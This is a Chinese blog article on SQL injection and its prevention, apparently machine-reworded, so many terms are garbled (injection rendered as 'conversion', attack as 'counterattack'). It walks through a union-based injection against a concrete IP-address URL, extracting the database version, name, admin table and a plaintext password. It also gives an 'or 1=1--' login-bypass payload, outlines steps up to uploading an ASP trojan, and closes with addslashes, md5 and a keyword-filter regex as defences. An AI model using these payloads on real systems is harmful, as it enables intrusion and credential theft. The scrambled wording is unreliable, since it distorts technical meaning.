卓越飞翔博客卓越飞翔博客

卓越飞翔 - 您值得收藏的技术分享站
技术文章64334本站已运行4115

什么是SQL注入,如何防护它?

什么是SQL

SQL是一种运用数据库数据、用作访问和处理数据库的标准的计算机语言。

简言之,SQL就是一种结构化查询语言,使我们有能力出访和操作方式数据库。SQL 语句用作领回和更新数据库中的数据,可与数据库程序协同工作,比如说 MS SQL Server、MS Access、Informix、DB2、Sybase 、Oracle以及其他数据库系统。

一般来说,我们会用SQL搞:建立新数据库、更新数据库中的数据、面向数据库继续执行查询、

从数据库取回数据、从数据库删掉记录、在数据库中插入新的记录、在数据库中创建存储过程、

在数据库中创建新表、设置表、存储过程和视图的权限,甚至能够在数据库中建立视图。

SQL转化成常用方法

一些黑客便利用SQL的这个特性,试图入侵数据库去控制目标主机或从中获得想的资料。

他们将Web页面的表单域、原URL或数据包输入的参数修正堆叠成sql语句传达给Web服务器,由此托付给数据库服务器以执行数据库命令。如果Web应用程序的开发人员不检验或过滤器用户所输出的Cookie和数据内容就直接传输给数据库就可能将导致这段SQL命令被执行,从而获取数据库权限。

SQL注入原理

假如以上这个介绍并不足以支持你介绍整个SQL转化成的过程,那么接下来你就能了解黑客就是利用SQL、通过哪种方式来步入目标服务器的数据库从而进行掌控的。

首先,SQL注入能使黑客绕开认证机制,远程进入目标服务器中的数据库从而掌控它。

目前,大多数Web应用领域都采用SQL数据库去存放程序数据,而几乎所有的Web应用在后台都使用某种SQL数据库。

和大多数语言一样,SQL语法允许数据库命令和用户数据夹杂在一起;通常黑客们可以访问有SQL转化成漏洞的网站,寻找转化成点;在找到漏洞之后,构造语句注入程序中,与程序里的SQL语句结合生成代莱SQL语句;紧接着新的SQL语句被提交至崭新数据库中进行处置,数据库继续执行此段SQL语句后引发SQL转化成攻击。

SQL转化成存有两种形式

一是直接将代码填入至与SQL命令串联在一起并使得其以执行的用户输入变量。由于其直接与SQL语句绑定,故也被称作轻易注入式攻击法;

二是一种间接的攻击方法,它将恶意代码注入必须在表中存储或者作为原数据存储的字符串。在存储的字符串中可以连接到一个动态的SQL命令中,以继续执行一些蓄意的SQL代码。转化成过程的工作方式就是提早终止文本字符串,然后新增一个新的命令。

以轻易将代码填入到SQL命令串的攻击方式为例,在输入用户访问数据的时候,先用一个分号结束当前的语句,然后再插入一个蓄意SQL语句即可。由于插入的命令可能将在继续执行前新增其他字符串,因此攻击者常常用注释标记"一"去中止注入的字符串;继续执行时,系统可以将此文本理解为语句注释,因此不继续执行编译时程文本。

引致SQL注入的原因

1、 再精巧的网页都存在漏洞,而动态网页以及脚本编程学起来比较难,这就相对引致了很多经验水平不够的程序员做动态网站,编写的代码存在一些漏洞,这些漏洞为攻击者提供了捷径。

2、程序或系统对用户输出的参数不进行检查和过滤,没有对用户输出数据的合法性展开判断,或者程序中本身的变量处理不当,使应用程序存有安全隐患。

3、因为 SQL 注入从正常的 www端口出访,主要是针对 web 应用程序提交数据库查询命令的反击,与正常的用户出访没什么区别,所以能轻易地绕开防火墙直接访问数据库,甚至能够赢得数据库所在的服务器的出访权限。

或者说,正因为SQL转化成的成本低,因此企业常常可以对自己的网站和后台数据库被轻而易举地侵略而烦恼,这也沦为了云WAF、高防IP不同于高防服务器的特殊之处,也是高防IP价格比较高昂的原因:能防止网页盗用,抵挡Web反击。

SQL转化成反击与防御

在 http://120.203.13.75:6815/?id=1 目标站点页面发现了?id,表明可以通过查询id=1的内容来赢得页面。

查询语句

select * from [表名] where id = '1';

在http://120.203.13.75:6815/?id=1 后重新加入一个 单引号,形成http://120.203.13.75:6815/?id=1',此时的 SQL 查询语句变为select * from 表名 where id =1';此时SQL 语句未恰当结束,因此返回了一个错误页面:

稳步测试

and 1=1 和 and 1=2:http://120.203.13.75:6815/?id=1 and 1=1

这相等于SQL查询语句select * from 表名 where id =1 and 1=1;

SQL 语句用 and 连接可以设置多个条件,目前回到一个永久为真的条件,因此回到了一个正常页面:

http://120.203.13.75:6815/?id=1 and 1=2,相等于SQL查询语句

select select * from 表名 where id =1 and 1=2;

SQL语句用 and 相连接可以设置多个条件,目前返回一个永久为假的条件,因此页面回到错误:

表明 SQL 语句被执行,程序没有对敏感字符展开过滤。

现在可以确认此处就是一个 SQL 转化成点,程序对带进的参数没有做任何处置,轻易带到数据库的查询语句中。

现在推论数据库类型以及版本,构造语句:发现返回正常页面,说明数据库就是 MySQL,并且版本支持Union查询且大于4.0,反之则为4.0以下版本或者其他类型数据库。

http://120.203.13.75:6815/?id=1 and ord(mid(version(),1,1))>51
http://120.203.13.75:6815/?id=1 order by 10相等于SQL查询语句select * from [表名] where id =1 order by 10;

跳转错误,说明字段大于10

输入SQL查询语句select * from [表名] where id =1 order by 2;回到正常页面,表明字段为2。

确认字段之后,现在必须结构联手查询语句 (union select)http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2

可以辨认出在页面中,原先的内容没有了,取而代之的就是回到的数字 2,这个数字指的就是我们可以把联合查询的对应边线替换为想要查询的关键字,比如说版本,数据库名称,主要是用来探测 web 系统的信息。

查询数据库版本http://120.203.13.75:6815/?id=1 and 1=2 union select 1,version() ,获得结果为版本号 5.5.53:

现在把 2 替代掉,先查询数据库名称,构造http://120.203.13.75:6815/?id=1 and 1=2 union select 1,database()语句,浏览器跳转回到就能够说明这个网站的数据库名称了;此时再用同样的手法查询表名,当浏览器返回admin时,表明表名为admin:

猜测密码字段,结构

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,password from admin

语句,

返回成功,表明密码字段名称为Password、登入密码为hellohack。

进行 SQL注入时通常可以实行手工转化成或者工具注入两种方法,其总体思路是∶

(1) 扫描目标网络信息(推论与否存在SQL注入漏洞);

(2) 推论后台数据库类型;

(3) 找出Web虚拟目录;

(4) 上载ASP木马;

(5) 获取管理员权限。

以下就是一段普普通通的登入演示代码,该脚本须要Username和Password两个参数,该脚本中SQL语句没任何过滤器,转化成起来非常容易:

针对上面的代码展开SQL转化成,在表单中username的输入框中输入'or 1=1--,这样的话,SQL语句就变成了select * from users where username=''or''=' and password=''or''='' limit 1。除了这条Payload之外,除了很多其他的Payload需用。

上述代码在展开查询时同时查询了Username和Password,查询时用户能操作方式的参数越多、不确定性就越大。可以换一种思路,查询时堆叠的字符串就用至主键Username,后面再检查Password和数据库中的与否一致。即可以调整查询的结构,增加用户可控的参数堆叠。

数据库中密码明文不太好,顺带用md5处置一下,提可以防止数据库被黑导致脆弱信息外泄。

这样做的话如果继续用username='or''='似乎是不可以了,除非你知道数据库中第一个用户的密码。但是毕竟还是可以破解,因此可以在利用过滤器函数来帮忙。

在这个例子中,由于Username参数两侧就是单引号,如果构造SQL注入一定需要重新加入额外的单引号来毁坏原语句,所以可以直接利用addslashes()函数将Username中的单引号转义。

$username = addslashes($_POST['username']);
$password = md5($_POST['password']);

在这个最简单的例子中,经过这样直观的修正似乎已经没办法转化成了。

之前提及了过滤函数,使用的是PHP自带的换行函数,但是这个有时候是比较用的,这种情况下可以自定义过滤函数:常见的过滤手段就是管制关键字,通过正则实现。

以下是摘录的某CTF赛题中的一段代码,CTF中经常使用留有余地的过滤器函数,使选手可以展开SQL转化成。

该段代码中限制了select,insert等很多关键字,对防止SQL转化成有一定效果但有缺陷,如果考量的不太全还是可以被转化成,过滤函数设置的对关键词过分脆弱可以使很多正常信息的查询也显得不易。

$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';

卓越飞翔博客
上一篇: JavaScript优雅地修改对象属性名
下一篇: 如何使用ThinkAPI优雅的调用API
留言与评论(共有 0 条评论)
   
验证码:
隐藏边栏